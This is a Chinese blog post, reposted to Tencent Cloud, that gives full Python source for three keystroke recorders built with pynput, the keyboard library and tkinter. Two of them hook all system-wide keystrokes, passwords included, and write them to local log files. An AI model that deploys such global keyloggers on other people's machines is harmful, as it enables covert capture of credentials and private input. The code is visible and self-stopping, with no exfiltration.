
键盘输入记录在某些场景下具有实用价值,如用户行为分析、数据收集或辅助工具开发。本文将介绍三种不同的Python实现方法,每种方法都包含详细的使用说明和原创代码示例。
pynput是专门用于监控和控制输入设备的库,支持跨平台运行。通过监听键盘事件,可以准确捕获各种按键操作,包括特殊功能键。
from pynput.keyboard import Key, Listener
import threading
import time
class KeyboardRecorder:
def __init__(self, filename='keylog.txt'):
self.filename = filename
self.keys_buffer = []
self.is_recording = False
def key_to_string(self, key):
"""将按键转换为可读字符串"""
if hasattr(key, 'char') and key.char is not None:
return key.char
elif key == Key.space:
return ' '
elif key == Key.enter:
return '\n'
elif key == Key.tab:
return '\t'
else:
return f'[{key.name.upper()}]'
def on_press(self, key):
"""按键按下事件处理"""
if self.is_recording:
key_str = self.key_to_string(key)
self.keys_buffer.append(key_str)
# 每10个字符保存一次
if len(self.keys_buffer) >= 10:
self.save_to_file()
def on_release(self, key):
"""按键释放事件处理"""
if key == Key.f12: # 使用F12键停止记录
self.stop_recording()
return False
def save_to_file(self):
"""保存缓冲区内容到文件"""
if self.keys_buffer:
with open(self.filename, 'a', encoding='utf-8') as f:
f.write(''.join(self.keys_buffer))
self.keys_buffer.clear()
def start_recording(self):
"""开始记录"""
self.is_recording = True
print("键盘记录已开始,按F12键停止...")
with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
listener.join()
def stop_recording(self):
"""停止记录"""
self.is_recording = False
self.save_to_file()
print("键盘记录已停止")
# 使用示例
if __name__ == "__main__":
recorder = KeyboardRecorder('my_keystrokes.txt')
recorder.start_recording()keyboard库提供了更简洁的API,适合快速实现基本的键盘记录功能。它支持实时事件捕获和全局钩子。
import keyboard
import datetime
from threading import Event
class SimpleKeylogger:
def __init__(self, log_file='simple_log.txt'):
self.log_file = log_file
self.stop_event = Event()
self.recorded_keys = []
def callback(self, event):
"""键盘事件回调函数"""
timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
if event.event_type == 'down':
key_name = event.name
# 处理特殊按键
if len(key_name) > 1:
key_name = f'[{key_name.upper()}]'
log_entry = f"{timestamp} - {key_name}\n"
self.recorded_keys.append(log_entry)
# 实时写入文件
with open(self.log_file, 'a', encoding='utf-8') as f:
f.write(log_entry)
def start(self):
"""开始记录"""
print("简单键盘记录器已启动,按ESC键停止...")
# 设置键盘钩子
keyboard.hook(self.callback)
# 等待停止信号
keyboard.wait('esc')
self.stop()
def stop(self):
"""停止记录"""
keyboard.unhook_all()
print("记录已停止,数据保存在", self.log_file)
# 使用示例
if __name__ == "__main__":
logger = SimpleKeylogger()
logger.start()这种方法创建一个简单的GUI界面,在用户与特定文本框交互时记录按键。适合需要可视化界面的应用场景。
import tkinter as tk
from tkinter import messagebox
import datetime
class GUIKeylogger:
def __init__(self):
self.window = tk.Tk()
self.window.title("GUI键盘记录器")
self.window.geometry("400x300")
self.record_file = "gui_keystrokes.log"
self.is_recording = False
self.start_time = None
self.setup_ui()
def setup_ui(self):
"""设置用户界面"""
# 标题
title_label = tk.Label(self.window, text="GUI键盘记录演示",
font=("Arial", 16))
title_label.pack(pady=10)
# 记录状态显示
self.status_var = tk.StringVar()
self.status_var.set("记录状态: 未开始")
status_label = tk.Label(self.window, textvariable=self.status_var,
font=("Arial", 12))
status_label.pack(pady=5)
# 输入文本框
self.text_box = tk.Text(self.window, height=8, width=40)
self.text_box.pack(pady=10)
self.text_box.bind('<KeyPress>', self.on_key_press)
# 控制按钮
button_frame = tk.Frame(self.window)
button_frame.pack(pady=10)
start_btn = tk.Button(button_frame, text="开始记录",
command=self.start_recording)
start_btn.pack(side=tk.LEFT, padx=5)
stop_btn = tk.Button(button_frame, text="停止记录",
command=self.stop_recording)
stop_btn.pack(side=tk.LEFT, padx=5)
clear_btn = tk.Button(button_frame, text="清空记录",
command=self.clear_log)
clear_btn.pack(side=tk.LEFT, padx=5)
def on_key_press(self, event):
"""键盘按下事件处理"""
if self.is_recording:
timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
key_data = f"{timestamp} - 按键: {event.char if event.char else event.keysym}\n"
with open(self.record_file, 'a', encoding='utf-8') as f:
f.write(key_data)
def start_recording(self):
"""开始记录"""
self.is_recording = True
self.start_time = datetime.datetime.now()
self.status_var.set(f"记录状态: 进行中 (开始于: {self.start_time.strftime('%H:%M:%S')})")
messagebox.showinfo("提示", "键盘记录已开始")
def stop_recording(self):
"""停止记录"""
if self.is_recording:
self.is_recording = False
duration = datetime.datetime.now() - self.start_time
self.status_var.set("记录状态: 已停止")
messagebox.showinfo("提示", f"记录已停止\n持续时间: {duration.total_seconds():.1f}秒")
def clear_log(self):
"""清空记录文件"""
if messagebox.askyesno("确认", "确定要清空记录文件吗?"):
open(self.record_file, 'w').close()
messagebox.showinfo("提示", "记录文件已清空")
def run(self):
"""运行应用程序"""
self.window.mainloop()
# 使用示例
if __name__ == "__main__":
app = GUIKeylogger()
app.run()根据具体需求选择合适的方法,遵守相关法律法规和道德准则。
1、pynput方法功能最全面,适合专业应用;
2、keyboard方法最简单易用,适合快速原型;
3、GUI方法提供可视化界面,用户体验更好;
“无他,惟手熟尔”!有需要的用起来!
如果你觉得这篇文章有用,欢迎点赞、转发、收藏、留言、推荐❤!
本文分享自 Nicholas与Pypi 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!